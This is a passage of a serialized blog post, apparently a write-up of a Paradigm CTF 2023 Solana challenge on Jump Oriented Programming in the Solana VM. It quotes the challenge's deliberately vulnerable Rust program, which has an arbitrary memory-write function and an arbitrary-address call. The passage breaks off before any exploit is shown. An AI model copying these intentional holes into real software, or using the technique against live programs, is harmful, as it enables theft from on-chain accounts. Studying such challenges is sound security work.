control.",[41523,7229],"nicola",{"src":41525},"/posts/jumping-around-in-the-vm/cover.png","2023-12-11",{"type":22,"children":41528,"toc":46936},[41529,41543,41563,41568,41572,41585,41610,41616,41621,41636,41990,42005,42270,42286,42929,42935,42940,42953,42961,43173,43181,43484,43492,43635,43643,44168,44174,44186,44199,44213,44218,44986,44991,44999,45004,45010,45022,45087,45092,45105,45118,45124,45152,46303,46316,46358,46363,46368,46382,46522,46543,46564,46571,46622,46630,46641,46654,46659,46783,46796,46898,46902,46915,46920,46932],{"type":25,"tag":34,"props":41530,"children":41531},{},[41532,41534,41541],{"type":31,"value":41533},"In the world of CTFs, ",{"type":25,"tag":71,"props":41535,"children":41538},{"href":41536,"rel":41537},"https://twitter.com/paradigm_ctf",[75],[41539],{"type":31,"value":41540},"Paradigm CTF 2023",{"type":31,"value":41542}," was like no other. Presenting a unique Solana challenge, the goal was to leverage Jump Oriented Programming, a web2 binary exploitation technique, inside the Solana VM to achieve arbitrary CPI execution.",{"type":25,"tag":34,"props":41544,"children":41545},{},[41546,41548,41555,41556],{"type":31,"value":41547},"To succeed in this challenge, a strong understanding of the Solana VM is required. We've explored parts of the Solana VM internals in two previous blog posts: ",{"type":25,"tag":71,"props":41549,"children":41552},{"href":41550,"rel":41551},"https://osec.io/blog/2022-03-14-solana-security-intro",[75],[41553],{"type":31,"value":41554},"Solana: An Auditor's Introduction",{"type":31,"value":12493},{"type":25,"tag":71,"props":41557,"children":41560},{"href":41558,"rel":41559},"https://osec.io/blog/2022-08-27-reverse-engineering-solana",[75],[41561],{"type":31,"value":41562},"Reverse Engineering Solana with Binary Ninja.\n",{"type":25,"tag":34,"props":41564,"children":41565},{},[41566],{"type":31,"value":41567},"In this comprehensive overview, we'll break down critical components of the Solana BPF VM necessary to write a complete memory-corruption exploit. We then turn an arbitrary function call and memory write primitive into a full exploit.",{"type":25,"tag":26,"props":41569,"children":41570},{"id":20455},[41571],{"type":31,"value":20458},{"type":25,"tag":34,"props":41573,"children":41574},{},[41575,41577,41583],{"type":31,"value":41576},"The challenge itself resides into ",{"type":25,"tag":115,"props":41578,"children":41580},{"className":41579},[],[41581],{"type":31,"value":41582},"framework/",{"type":31,"value":41584},", and is composed of 2 parts:",{"type":25,"tag":18183,"props":41586,"children":41587},{},[41588,41599],{"type":25,"tag":6948,"props":41589,"children":41590},{},[41591,41597],{"type":25,"tag":115,"props":41592,"children":41594},{"className":41593},[],[41595],{"type":31,"value":41596},"framework/chall/lib.rs",{"type":31,"value":41598},": The on-chain eBPF program that needs to be exploited.",{"type":25,"tag":6948,"props":41600,"children":41601},{},[41602,41608],{"type":25,"tag":115,"props":41603,"children":41605},{"className":41604},[],[41606],{"type":31,"value":41607},"framework/src/main.rs",{"type":31,"value":41609},": Program that setups a solana test environment, gets a single instruction and make it possible to users to interact with the on-chain program.",{"type":25,"tag":40,"props":41611,"children":41613},{"id":41612},"vulnerable-program",[41614],{"type":31,"value":41615},"Vulnerable Program",{"type":25,"tag":34,"props":41617,"children":41618},{},[41619],{"type":31,"value":41620},"The program is simple: it parses the input data and does something based on the first byte. Each potential action is quite out of the ordinary though!",{"type":25,"tag":6944,"props":41622,"children":41623},{},[41624],{"type":25,"tag":6948,"props":41625,"children":41626},{},[41627,41628,41634],{"type":31,"value":8989},{"type":25,"tag":115,"props":41629,"children":41631},{"className":41630},[],[41632],{"type":31,"value":41633},"data[0] == 0",{"type":31,"value":41635}," a function that lets you write-what-where is executed",{"type":25,"tag":191,"props":41637,"children":41639},{"className":4487,"code":41638,"language":4486,"meta":7,"style":7},"#[inline(never)]\npub fn write(data: &[u8]) {\n    unsafe {\n        let ptr = std::mem::transmute::\u003C[u8; 8], *mut u64>(data[..8].try_into().unwrap());\n        let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n        ptr.write_volatile(val);\n    }\n}\n",[41640],{"type":25,"tag":115,"props":41641,"children":41642},{"__ignoreMap":7},[41643,41651,41696,41707,41830,41947,41976,41983],{"type":25,"tag":201,"props":41644,"children":41645},{"class":203,"line":204},[41646],{"type":25,"tag":201,"props":41647,"children":41648},{"style":220},[41649],{"type":31,"value":41650},"#[inline(never)]\n",{"type":25,"tag":201,"props":41652,"children":41653},{"class":203,"line":226},[41654,41658,41662,41667,41671,41675,41679,41683,41687,41691],{"type":25,"tag":201,"props":41655,"children":41656},{"style":208},[41657],{"type":31,"value":15192},{"type":25,"tag":201,"props":41659,"children":41660},{"style":208},[41661],{"type":31,"value":15197},{"type":25,"tag":201,"props":41663,"children":41664},{"style":214},[41665],{"type":31,"value":41666}," write",{"type":25,"tag":201,"props":41668,"children":41669},{"style":220},[41670],{"type":31,"value":298},{"type":25,"tag":201,"props":41672,"children":41673},{"style":246},[41674],{"type":31,"value":5206},{"type":25,"tag":201,"props":41676,"children":41677},{"style":261},[41678],{"type":31,"value":5997},{"type":25,"tag":201,"props":41680,"children":41681},{"style":261},[41682],{"type":31,"value":8650},{"type":25,"tag":201,"props":41684,"children":41685},{"style":220},[41686],{"type":31,"value":423},{"type":25,"tag":201,"props":41688,"children":41689},{"style":4925},[41690],{"type":31,"value":4928},{"type":25,"tag":201,"props":41692,"children":41693},{"style":220},[41694],{"type":31,"value":41695},"]) {\n",{"type":25,"tag":201,"props":41697,"children":41698},{"class":203,"line":278},[41699,41703],{"type":25,"tag":201,"props":41700,"children":41701},{"style":208},[41702],{"type":31,"value":15335},{"type":25,"tag":201,"props":41704,"children":41705},{"style":220},[41706],{"type":31,"value":327},{"type":25,"tag":201,"props":41708,"children":41709},{"class":203,"line":311},[41710,41714,41718,41722,41727,41731,41736,41740,41745,41749,41754,41758,41762,41766,41770,41774,41778,41782,41786,41790,41794,41798,41802,41806,41810,41814,41818,41822,41826],{"type":25,"tag":201,"props":41711,"children":41712},{"style":208},[41713],{"type":31,"value":1897},{"type":25,"tag":201,"props":41715,"children":41716},{"style":246},[41717],{"type":31,"value":15359},{"type":25,"tag":201,"props":41719,"children":41720},{"style":261},[41721],{"type":31,"value":413},{"type":25,"tag":201,"props":41723,"children":41724},{"style":220},[41725],{"type":31,"value":41726}," std",{"type":25,"tag":201,"props":41728,"children":41729},{"style":261},[41730],{"type":31,"value":4988},{"type":25,"tag":201,"props":41732,"children":41733},{"style":220},[41734],{"type":31,"value":41735},"mem",{"type":25,"tag":201,"props":41737,"children":41738},{"style":261},[41739],{"type":31,"value":4988},{"type":25,"tag":201,"props":41741,"children":41742},{"style":214},[41743],{"type":31,"value":41744},"transmute",{"type":25,"tag":201,"props":41746,"children":41747},{"style":261},[41748],{"type":31,"value":4988},{"type":25,"tag":201,"props":41750,"children":41751},{"style":220},[41752],{"type":31,"value":41753},"\u003C[",{"type":25,"tag":201,"props":41755,"children":41756},{"style":4925},[41757],{"type":31,"value":4928},{"type":25,"tag":201,"props":41759,"children":41760},{"style":220},[41761],{"type":31,"value":18723},{"type":25,"tag":201,"props":41763,"children":41764},{"style":426},[41765],{"type":31,"value":5579},{"type":25,"tag":201,"props":41767,"children":41768},{"style":220},[41769],{"type":31,"value":1930},{"type":25,"tag":201,"props":41771,"children":41772},{"style":261},[41773],{"type":31,"value":6077},{"type":25,"tag":201,"props":41775,"children":41776},{"style":208},[41777],{"type":31,"value":5228},{"type":25,"tag":201,"props":41779,"children":41780},{"style":4925},[41781],{"type":31,"value":7369},{"type":25,"tag":201,"props":41783,"children":41784},{"style":220},[41785],{"type":31,"value":9120},{"type":25,"tag":201,"props":41787,"children":41788},{"style":246},[41789],{"type":31,"value":5206},{"type":25,"tag":201,"props":41791,"children":41792},{"style":220},[41793],{"type":31,"value":423},{"type":25,"tag":201,"props":41795,"children":41796},{"style":261},[41797],{"type":31,"value":4559},{"type":25,"tag":201,"props":41799,"children":41800},{"style":426},[41801],{"type":31,"value":5579},{"type":25,"tag":201,"props":41803,"children":41804},{"style":220},[41805],{"type":31,"value":16907},{"type":25,"tag":201,"props":41807,"children":41808},{"style":261},[41809],{"type":31,"value":80},{"type":25,"tag":201,"props":41811,"children":41812},{"style":214},[41813],{"type":31,"value":27646},{"type":25,"tag":201,"props":41815,"children":41816},{"style":220},[41817],{"type":31,"value":15381},{"type":25,"tag":201,"props":41819,"children":41820},{"style":261},[41821],{"type":31,"value":80},{"type":25,"tag":201,"props":41823,"children":41824},{"style":214},[41825],{"type":31,"value":5170},{"type":25,"tag":201,"props":41827,"children":41828},{"style":220},[41829],{"type":31,"value":16921},{"type":25,"tag":201,"props":41831,"children":41832},{"class":203,"line":330},[41833,41837,41842,41846,41850,41854,41858,41862,41866,41870,41874,41878,41882,41886,41890,41894,41898,41902,41906,41910,41914,41919,41923,41927,41931,41935,41939,41943],{"type":25,"tag":201,"props":41834,"children":41835},{"style":208},[41836],{"type":31,"value":1897},{"type":25,"tag":201,"props":41838,"children":41839},{"style":246},[41840],{"type":31,"value":41841}," val",{"type":25,"tag":201,"props":41843,"children":41844},{"style":261},[41845],{"type":31,"value":413},{"type":25,"tag":201,"props":41847,"children":41848},{"style":220},[41849],{"type":31,"value":41726},{"type":25,"tag":201,"props":41851,"children":41852},{"style":261},[41853],{"type":31,"value":4988},{"type":25,"tag":201,"props":41855,"children":41856},{"style":220},[41857],{"type":31,"value":41735},{"type":25,"tag":201,"props":41859,"children":41860},{"style":261},[41861],{"type":31,"value":4988},{"type":25,"tag":201,"props":41863,"children":41864},{"style":214},[41865],{"type":31,"value":41744},{"type":25,"tag":201,"props":41867,"children":41868},{"style":261},[41869],{"type":31,"value":4988},{"type":25,"tag":201,"props":41871,"children":41872},{"style":220},[41873],{"type":31,"value":41753},{"type":25,"tag":201,"props":41875,"children":41876},{"style":4925},[41877],{"type":31,"value":4928},{"type":25,"tag":201,"props":41879,"children":41880},{"style":220},[41881],{"type":31,"value":18723},{"type":25,"tag":201,"props":41883,"children":41884},{"style":426},[41885],{"type":31,"value":5579},{"type":25,"tag":201,"props":41887,"children":41888},{"style":220},[41889],{"type":31,"value":1930},{"type":25,"tag":201,"props":41891,"children":41892},{"style":4925},[41893],{"type":31,"value":9551},{"type":25,"tag":201,"props":41895,"children":41896},{"style":220},[41897],{"type":31,"value":9120},{"type":25,"tag":201,"props":41899,"children":41900},{"style":246},[41901],{"type":31,"value":5206},{"type":25,"tag":201,"props":41903,"children":41904},{"style":220},[41905],{"type":31,"value":423},{"type":25,"tag":201,"props":41907,"children":41908},{"style":426},[41909],{"type":31,"value":5579},{"type":25,"tag":201,"props":41911,"children":41912},{"style":261},[41913],{"type":31,"value":4559},{"type":25,"tag":201,"props":41915,"children":41916},{"style":426},[41917],{"type":31,"value":41918},"16",{"type":25,"tag":201,"props":41920,"children":41921},{"style":220},[41922],{"type":31,"value":16907},{"type":25,"tag":201,"props":41924,"children":41925},{"style":261},[41926],{"type":31,"value":80},{"type":25,"tag":201,"props":41928,"children":41929},{"style":214},[41930],{"type":31,"value":27646},{"type":25,"tag":201,"props":41932,"children":41933},{"style":220},[41934],{"type":31,"value":15381},{"type":25,"tag":201,"props":41936,"children":41937},{"style":261},[41938],{"type":31,"value":80},{"type":25,"tag":201,"props":41940,"children":41941},{"style":214},[41942],{"type":31,"value":5170},{"type":25,"tag":201,"props":41944,"children":41945},{"style":220},[41946],{"type":31,"value":16921},{"type":25,"tag":201,"props":41948,"children":41949},{"class":203,"line":397},[41950,41955,41959,41964,41968,41972],{"type":25,"tag":201,"props":41951,"children":41952},{"style":246},[41953],{"type":31,"value":41954},"        ptr",{"type":25,"tag":201,"props":41956,"children":41957},{"style":261},[41958],{"type":31,"value":80},{"type":25,"tag":201,"props":41960,"children":41961},{"style":214},[41962],{"type":31,"value":41963},"write_volatile",{"type":25,"tag":201,"props":41965,"children":41966},{"style":220},[41967],{"type":31,"value":298},{"type":25,"tag":201,"props":41969,"children":41970},{"style":246},[41971],{"type":31,"value":14134},{"type":25,"tag":201,"props":41973,"children":41974},{"style":220},[41975],{"type":31,"value":308},{"type":25,"tag":201,"props":41977,"children":41978},{"class":203,"line":437},[41979],{"type":25,"tag":201,"props":41980,"children":41981},{"style":220},[41982],{"type":31,"value":4861},{"type":25,"tag":201,"props":41984,"children":41985},{"class":203,"line":464},[41986],{"type":25,"tag":201,"props":41987,"children":41988},{"style":220},[41989],{"type":31,"value":1187},{"type":25,"tag":6944,"props":41991,"children":41992},{"start":226},[41993],{"type":25,"tag":6948,"props":41994,"children":41995},{},[41996,41997,42003],{"type":31,"value":8989},{"type":25,"tag":115,"props":41998,"children":42000},{"className":41999},[],[42001],{"type":31,"value":42002},"data[0] == 1",{"type":31,"value":42004},", a CPI to a non-existent program is executed:",{"type":25,"tag":191,"props":42006,"children":42008},{"className":4487,"code":42007,"language":4486,"meta":7,"style":7},"#[inline(never)]\npub fn call(data: &[u8]) {\n    let ix = Instruction {\n        program_id: pubkey!(\"osecio5555555555555551111111111111111111111\"),\n        data: data.try_into().unwrap(),\n        accounts: vec![]\n    };\n\n    invoke_signed_unchecked(\n        &ix,\n        &[],\n        &[],\n    ).unwrap();\n}\n",[42009],{"type":25,"tag":115,"props":42010,"children":42011},{"__ignoreMap":7},[42012,42019,42063,42088,42118,42158,42179,42186,42193,42205,42221,42233,42244,42263],{"type":25,"tag":201,"props":42013,"children":42014},{"class":203,"line":204},[42015],{"type":25,"tag":201,"props":42016,"children":42017},{"style":220},[42018],{"type":31,"value":41650},{"type":25,"tag":201,"props":42020,"children":42021},{"class":203,"line":226},[42022,42026,42030,42035,42039,42043,42047,42051,42055,42059],{"type":25,"tag":201,"props":42023,"children":42024},{"style":208},[42025],{"type":31,"value":15192},{"type":25,"tag":201,"props":42027,"children":42028},{"style":208},[42029],{"type":31,"value":15197},{"type":25,"tag":201,"props":42031,"children":42032},{"style":214},[42033],{"type":31,"value":42034}," call",{"type":25,"tag":201,"props":42036,"children":42037},{"style":220},[42038],{"type":31,"value":298},{"type":25,"tag":201,"props":42040,"children":42041},{"style":246},[42042],{"type":31,"value":5206},{"type":25,"tag":201,"props":42044,"children":42045},{"style":261},[42046],{"type":31,"value":5997},{"type":25,"tag":201,"props":42048,"children":42049},{"style":261},[42050],{"type":31,"value":8650},{"type":25,"tag":201,"props":42052,"children":42053},{"style":220},[42054],{"type":31,"value":423},{"type":25,"tag":201,"props":42056,"children":42057},{"style":4925},[42058],{"type":31,"value":4928},{"type":25,"tag":201,"props":42060,"children":42061},{"style":220},[42062],{"type":31,"value":41695},{"type":25,"tag":201,"props":42064,"children":42065},{"class":203,"line":278},[42066,42070,42075,42079,42084],{"type":25,"tag":201,"props":42067,"children":42068},{"style":208},[42069],{"type":31,"value":4508},{"type":25,"tag":201,"props":42071,"children":42072},{"style":246},[42073],{"type":31,"value":42074}," ix",{"type":25,"tag":201,"props":42076,"children":42077},{"style":261},[42078],{"type":31,"value":413},{"type":25,"tag":201,"props":42080,"children":42081},{"style":4925},[42082],{"type":31,"value":42083}," Instruction",{"type":25,"tag":201,"props":42085,"children":42086},{"style":220},[42087],{"type":31,"value":327},{"type":25,"tag":201,"props":42089,"children":42090},{"class":203,"line":311},[42091,42096,42100,42105,42109,42114],{"type":25,"tag":201,"props":42092,"children":42093},{"style":246},[42094],{"type":31,"value":42095},"        program_id",{"type":25,"tag":201,"props":42097,"children":42098},{"style":261},[42099],{"type":31,"value":5997},{"type":25,"tag":201,"props":42101,"children":42102},{"style":214},[42103],{"type":31,"value":42104}," pubkey!",{"type":25,"tag":201,"props":42106,"children":42107},{"style":220},[42108],{"type":31,"value":298},{"type":25,"tag":201,"props":42110,"children":42111},{"style":267},[42112],{"type":31,"value":42113},"\"osecio5555555555555551111111111111111111111\"",{"type":25,"tag":201,"props":42115,"children":42116},{"style":220},[42117],{"type":31,"value":8245},{"type":25,"tag":201,"props":42119,"children":42120},{"class":203,"line":330},[42121,42126,42130,42134,42138,42142,42146,42150,42154],{"type":25,"tag":201,"props":42122,"children":42123},{"style":246},[42124],{"type":31,"value":42125},"        data",{"type":25,"tag":201,"props":42127,"children":42128},{"style":261},[42129],{"type":31,"value":5997},{"type":25,"tag":201,"props":42131,"children":42132},{"style":246},[42133],{"type":31,"value":16603},{"type":25,"tag":201,"props":42135,"children":42136},{"style":261},[42137],{"type":31,"value":80},{"type":25,"tag":201,"props":42139,"children":42140},{"style":214},[42141],{"type":31,"value":27646},{"type":25,"tag":201,"props":42143,"children":42144},{"style":220},[42145],{"type":31,"value":15381},{"type":25,"tag":201,"props":42147,"children":42148},{"style":261},[42149],{"type":31,"value":80},{"type":25,"tag":201,"props":42151,"children":42152},{"style":214},[42153],{"type":31,"value":5170},{"type":25,"tag":201,"props":42155,"children":42156},{"style":220},[42157],{"type":31,"value":1104},{"type":25,"tag":201,"props":42159,"children":42160},{"class":203,"line":397},[42161,42166,42170,42174],{"type":25,"tag":201,"props":42162,"children":42163},{"style":246},[42164],{"type":31,"value":42165},"        accounts",{"type":25,"tag":201,"props":42167,"children":42168},{"style":261},[42169],{"type":31,"value":5997},{"type":25,"tag":201,"props":42171,"children":42172},{"style":214},[42173],{"type":31,"value":5233},{"type":25,"tag":201,"props":42175,"children":42176},{"style":220},[42177],{"type":31,"value":42178},"[]\n",{"type":25,"tag":201,"props":42180,"children":42181},{"class":203,"line":437},[42182],{"type":25,"tag":201,"props":42183,"children":42184},{"style":220},[42185],{"type":31,"value":40067},{"type":25,"tag":201,"props":42187,"children":42188},{"class":203,"line":464},[42189],{"type":25,"tag":201,"props":42190,"children":42191},{"emptyLinePlaceholder":17},[42192],{"type":31,"value":496},{"type":25,"tag":201,"props":42194,"children":42195},{"class":203,"line":490},[42196,42201],{"type":25,"tag":201,"props":42197,"children":42198},{"style":214},[42199],{"type":31,"value":42200},"    invoke_signed_unchecked",{"type":25,"tag":201,"props":42202,"children":42203},{"style":220},[42204],{"type":31,"value":4970},{"type":25,"tag":201,"props":42206,"children":42207},{"class":203,"line":499},[42208,42212,42217],{"type":25,"tag":201,"props":42209,"children":42210},{"style":261},[42211],{"type":31,"value":4978},{"type":25,"tag":201,"props":42213,"children":42214},{"style":246},[42215],{"type":31,"value":42216},"ix",{"type":25,"tag":201,"props":42218,"children":42219},{"style":220},[42220],{"type":31,"value":547},{"type":25,"tag":201,"props":42222,"children":42223},{"class":203,"line":522},[42224,42228],{"type":25,"tag":201,"props":42225,"children":42226},{"style":261},[42227],{"type":31,"value":4978},{"type":25,"tag":201,"props":42229,"children":42230},{"style":220},[42231],{"type":31,"value":42232},"[],\n",{"type":25,"tag":201,"props":42234,"children":42235},{"class":203,"line":531},[42236,42240],{"type":25,"tag":201,"props":42237,"children":42238},{"style":261},[42239],{"type":31,"value":4978},{"type":25,"tag":201,"props":42241,"children":42242},{"style":220},[42243],{"type":31,"value":42232},{"type":25,"tag":201,"props":42245,"children":42246},{"class":203,"line":550},[42247,42251,42255,42259],{"type":25,"tag":201,"props":42248,"children":42249},{"style":220},[42250],{"type":31,"value":5161},{"type":25,"tag":201,"props":42252,"children":42253},{"style":261},[42254],{"type":31,"value":80},{"type":25,"tag":201,"props":42256,"children":42257},{"style":214},[42258],{"type":31,"value":5170},{"type":25,"tag":201,"props":42260,"children":42261},{"style":220},[42262],{"type":31,"value":1985},{"type":25,"tag":201,"props":42264,"children":42265},{"class":203,"line":563},[42266],{"type":25,"tag":201,"props":42267,"children":42268},{"style":220},[42269],{"type":31,"value":1187},{"type":25,"tag":6944,"props":42271,"children":42272},{"start":278},[42273],{"type":25,"tag":6948,"props":42274,"children":42275},{},[42276,42278,42284],{"type":31,"value":42277},"Finally, if ",{"type":25,"tag":115,"props":42279,"children":42281},{"className":42280},[],[42282],{"type":31,"value":42283},"data[0]",{"type":31,"value":42285}," is neither 0 nor 1, a function that lets you jump to an arbitrary address, passing an arbitrary value as the first parameter is executed:",{"type":25,"tag":191,"props":42287,"children":42289},{"className":4487,"code":42288,"language":4486,"meta":7,"style":7},"#[inline(never)]\npub fn process(mut data: &[u8]) {\n    unsafe {\n        let ptr = std::mem::transmute::\u003C[u8; 8], fn(u64)>(data[..8].try_into().unwrap());\n        let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n        ptr(val);\n\n        data = &data[16..];\n\n        let ptr = std::mem::transmute::\u003C[u8; 8], fn(u64)>(data[..8].try_into().unwrap());\n        let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n        ptr(val);\n    }\n}\n",[42290],{"type":25,"tag":115,"props":42291,"children":42292},{"__ignoreMap":7},[42293,42300,42348,42359,42479,42594,42613,42620,42655,42662,42781,42896,42915,42922],{"type":25,"tag":201,"props":42294,"children":42295},{"class":203,"line":204},[42296],{"type":25,"tag":201,"props":42297,"children":42298},{"style":220},[42299],{"type":31,"value":41650},{"type":25,"tag":201,"props":42301,"children":42302},{"class":203,"line":226},[42303,42307,42311,42316,42320,42324,42328,42332,42336,42340,42344],{"type":25,"tag":201,"props":42304,"children":42305},{"style":208},[42306],{"type":31,"value":15192},{"type":25,"tag":201,"props":42308,"children":42309},{"style":208},[42310],{"type":31,"value":15197},{"type":25,"tag":201,"props":42312,"children":42313},{"style":214},[42314],{"type":31,"value":42315}," process",{"type":25,"tag":201,"props":42317,"children":42318},{"style":220},[42319],{"type":31,"value":298},{"type":25,"tag":201,"props":42321,"children":42322},{"style":208},[42323],{"type":31,"value":5228},{"type":25,"tag":201,"props":42325,"children":42326},{"style":246},[42327],{"type":31,"value":16603},{"type":25,"tag":201,"props":42329,"children":42330},{"style":261},[42331],{"type":31,"value":5997},{"type":25,"tag":201,"props":42333,"children":42334},{"style":261},[42335],{"type":31,"value":8650},{"type":25,"tag":201,"props":42337,"children":42338},{"style":220},[42339],{"type":31,"value":423},{"type":25,"tag":201,"props":42341,"children":42342},{"style":4925},[42343],{"type":31,"value":4928},{"type":25,"tag":201,"props":42345,"children":42346},{"style":220},[42347],{"type":31,"value":41695},{"type":25,"tag":201,"props":42349,"children":42350},{"class":203,"line":278},[42351,42355],{"type":25,"tag":201,"props":42352,"children":42353},{"style":208},[42354],{"type":31,"value":15335},{"type":25,"tag":201,"props":42356,"children":42357},{"style":220},[42358],{"type":31,"value":327},{"type":25,"tag":201,"props":42360,"children":42361},{"class":203,"line":311},[42362,42366,42370,42374,42378,42382,42386,42390,42394,42398,42402,42406,42410,42414,42418,42422,42426,42430,42435,42439,42443,42447,42451,42455,42459,42463,42467,42471,42475],{"type":25,"tag":201,"props":42363,"children":42364},{"style":208},[42365],{"type":31,"value":1897},{"type":25,"tag":201,"props":42367,"children":42368},{"style":246},[42369],{"type":31,"value":15359},{"type":25,"tag":201,"props":42371,"children":42372},{"style":261},[42373],{"type":31,"value":413},{"type":25,"tag":201,"props":42375,"children":42376},{"style":220},[42377],{"type":31,"value":41726},{"type":25,"tag":201,"props":42379,"children":42380},{"style":261},[42381],{"type":31,"value":4988},{"type":25,"tag":201,"props":42383,"children":42384},{"style":220},[42385],{"type":31,"value":41735},{"type":25,"tag":201,"props":42387,"children":42388},{"style":261},[42389],{"type":31,"value":4988},{"type":25,"tag":201,"props":42391,"children":42392},{"style":214},[42393],{"type":31,"value":41744},{"type":25,"tag":201,"props":42395,"children":42396},{"style":261},[42397],{"type":31,"value":4988},{"type":25,"tag":201,"props":42399,"children":42400},{"style":220},[42401],{"type":31,"value":41753},{"type":25,"tag":201,"props":42403,"children":42404},{"style":4925},[42405],{"type":31,"value":4928},{"type":25,"tag":201,"props":42407,"children":42408},{"style":220},[42409],{"type":31,"value":18723},{"type":25,"tag":201,"props":42411,"children":42412},{"style":426},[42413],{"type":31,"value":5579},{"type":25,"tag":201,"props":42415,"children":42416},{"style":220},[42417],{"type":31,"value":1930},{"type":25,"tag":201,"props":42419,"children":42420},{"style":208},[42421],{"type":31,"value":21763},{"type":25,"tag":201,"props":42423,"children":42424},{"style":220},[42425],{"type":31,"value":298},{"type":25,"tag":201,"props":42427,"children":42428},{"style":4925},[42429],{"type":31,"value":9551},{"type":25,"tag":201,"props":42431,"children":42432},{"style":220},[42433],{"type":31,"value":42434},")>(",{"type":25,"tag":201,"props":42436,"children":42437},{"style":246},[42438],{"type":31,"value":5206},{"type":25,"tag":201,"props":42440,"children":42441},{"style":220},[42442],{"type":31,"value":423},{"type":25,"tag":201,"props":42444,"children":42445},{"style":261},[42446],{"type":31,"value":4559},{"type":25,"tag":201,"props":42448,"children":42449},{"style":426},[42450],{"type":31,"value":5579},{"type":25,"tag":201,"props":42452,"children":42453},{"style":220},[42454],{"type":31,"value":16907},{"type":25,"tag":201,"props":42456,"children":42457},{"style":261},[42458],{"type":31,"value":80},{"type":25,"tag":201,"props":42460,"children":42461},{"style":214},[42462],{"type":31,"value":27646},{"type":25,"tag":201,"props":42464,"children":42465},{"style":220},[42466],{"type":31,"value":15381},{"type":25,"tag":201,"props":42468,"children":42469},{"style":261},[42470],{"type":31,"value":80},{"type":25,"tag":201,"props":42472,"children":42473},{"style":214},[42474],{"type":31,"value":5170},{"type":25,"tag":201,"props":42476,"children":42477},{"style":220},[42478],{"type":31,"value":16921},{"type":25,"tag":201,"props":42480,"children":42481},{"class":203,"line":330},[42482,42486,42490,42494,42498,42502,42506,42510,42514,42518,42522,42526,42530,42534,42538,42542,42546,42550,42554,42558,42562,42566,42570,42574,42578,42582,42586,42590],{"type":25,"tag":201,"props":42483,"children":42484},{"style":208},[42485],{"type":31,"value":1897},{"type":25,"tag":201,"props":42487,"children":42488},{"style":246},[42489],{"type":31,"value":41841},{"type":25,"tag":201,"props":42491,"children":42492},{"style":261},[42493],{"type":31,"value":413},{"type":25,"tag":201,"props":42495,"children":42496},{"style":220},[42497],{"type":31,"value":41726},{"type":25,"tag":201,"props":42499,"children":42500},{"style":261},[42501],{"type":31,"value":4988},{"type":25,"tag":201,"props":42503,"children":42504},{"style":220},[42505],{"type":31,"value":41735},{"type":25,"tag":201,"props":42507,"children":42508},{"style":261},[42509],{"type":31,"value":4988},{"type":25,"tag":201,"props":42511,"children":42512},{"style":214},[42513],{"type":31,"value":41744},{"type":25,"tag":201,"props":42515,"children":42516},{"style":261},[42517],{"type":31,"value":4988},{"type":25,"tag":201,"props":42519,"children":42520},{"style":220},[42521],{"type":31,"value":41753},{"type":25,"tag":201,"props":42523,"children":42524},{"style":4925},[42525],{"type":31,"value":4928},{"type":25,"tag":201,"props":42527,"children":42528},{"style":220},[42529],{"type":31,"value":18723},{"type":25,"tag":201,"props":42531,"children":42532},{"style":426},[42533],{"type":31,"value":5579},{"type":25,"tag":201,"props":42535,"children":42536},{"style":220},[42537],{"type":31,"value":1930},{"type":25,"tag":201,"props":42539,"children":42540},{"style":4925},[42541],{"type":31,"value":9551},{"type":25,"tag":201,"props":42543,"children":42544},{"style":220},[42545],{"type":31,"value":9120},{"type":25,"tag":201,"props":42547,"children":42548},{"style":246},[42549],{"type":31,"value":5206},{"type":25,"tag":201,"props":42551,"children":42552},{"style":220},[42553],{"type":31,"value":423},{"type":25,"tag":201,"props":42555,"children":42556},{"style":426},[42557],{"type":31,"value":5579},{"type":25,"tag":201,"props":42559,"children":42560},{"style":261},[42561],{"type":31,"value":4559},{"type":25,"tag":201,"props":42563,"children":42564},{"style":426},[42565],{"type":31,"value":41918},{"type":25,"tag":201,"props":42567,"children":42568},{"style":220},[42569],{"type":31,"value":16907},{"type":25,"tag":201,"props":42571,"children":42572},{"style":261},[42573],{"type":31,"value":80},{"type":25,"tag":201,"props":42575,"children":42576},{"style":214},[42577],{"type":31,"value":27646},{"type":25,"tag":201,"props":42579,"children":42580},{"style":220},[42581],{"type":31,"value":15381},{"type":25,"tag":201,"props":42583,"children":42584},{"style":261},[42585],{"type":31,"value":80},{"type":25,"tag":201,"props":42587,"children":42588},{"style":214},[42589],{"type":31,"value":5170},{"type":25,"tag":201,"props":42591,"children":42592},{"style":220},[42593],{"type":31,"value":16921},{"type":25,"tag":201,"props":42595,"children":42596},{"class":203,"line":397},[42597,42601,42605,42609],{"type":25,"tag":201,"props":42598,"children":42599},{"style":214},[42600],{"type":31,"value":41954},{"type":25,"tag":201,"props":42602,"children":42603},{"style":220},[42604],{"type":31,"value":298},{"type":25,"tag":201,"props":42606,"children":42607},{"style":246},[42608],{"type":31,"value":14134},{"type":25,"tag":201,"props":42610,"children":42611},{"style":220},[42612],{"type":31,"value":308},{"type":25,"tag":201,"props":42614,"children":42615},{"class":203,"line":437},[42616],{"type":25,"tag":201,"props":42617,"children":42618},{"emptyLinePlaceholder":17},[42619],{"type":31,"value":496},{"type":25,"tag":201,"props":42621,"children":42622},{"class":203,"line":464},[42623,42627,42631,42635,42639,42643,42647,42651],{"type":25,"tag":201,"props":42624,"children":42625},{"style":246},[42626],{"type":31,"value":42125},{"type":25,"tag":201,"props":42628,"children":42629},{"style":261},[42630],{"type":31,"value":413},{"type":25,"tag":201,"props":42632,"children":42633},{"style":261},[42634],{"type":31,"value":8650},{"type":25,"tag":201,"props":42636,"children":42637},{"style":246},[42638],{"type":31,"value":5206},{"type":25,"tag":201,"props":42640,"children":42641},{"style":220},[42642],{"type":31,"value":423},{"type":25,"tag":201,"props":42644,"children":42645},{"style":426},[42646],{"type":31,"value":41918},{"type":25,"tag":201,"props":42648,"children":42649},{"style":261},[42650],{"type":31,"value":4559},{"type":25,"tag":201,"props":42652,"children":42653},{"style":220},[42654],{"type":31,"value":434},{"type":25,"tag":201,"props":42656,"children":42657},{"class":203,"line":490},[42658],{"type":25,"tag":201,"props":42659,"children":42660},{"emptyLinePlaceholder":17},[42661],{"type":31,"value":496},{"type":25,"tag":201,"props":42663,"children":42664},{"class":203,"line":499},[42665,42669,42673,42677,42681,42685,42689,42693,42697,42701,42705,42709,42713,42717,42721,42725,42729,42733,42737,42741,42745,42749,42753,42757,42761,42765,42769,42773,42777],{"type":25,"tag":201,"props":42666,"childr